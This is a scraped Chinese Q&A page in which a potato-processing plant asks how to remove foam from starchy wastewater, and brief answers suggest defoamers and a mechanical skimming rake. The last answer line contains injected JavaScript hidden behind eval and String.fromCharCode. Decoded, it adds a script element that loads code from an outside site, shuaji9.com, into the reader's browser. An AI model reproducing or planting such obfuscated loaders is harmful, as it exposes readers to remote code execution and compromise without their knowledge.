土豆加工厂废水排放起
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土豆加工厂废水排放起泡

土豆加工厂,土豆去皮后排放的含有淀粉,土豆皮的废水,废水排放带地沟中有大量泡沫。现在是向地沟中加消泡剂,有没有超声的方法消除泡沫感谢各位 3 回答 ·  3 关注
共3个回答
可以考虑用植物油脚消泡剂。废水沉淀下层可以用污水泵抽出来养猪,又能降低污水处理费用,双赢!
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水池上方加一个用电机驱动的除沫耙物理消泡比用消泡剂好点吧?
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废水沉淀降低污水处理费用filesize (undefined Bytes)$('ed2k_WSk').innerHTML=htmlspecialchars(unescape(decodeURIComponent('filesize')))+' ('+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+' Bytes)';
  3 0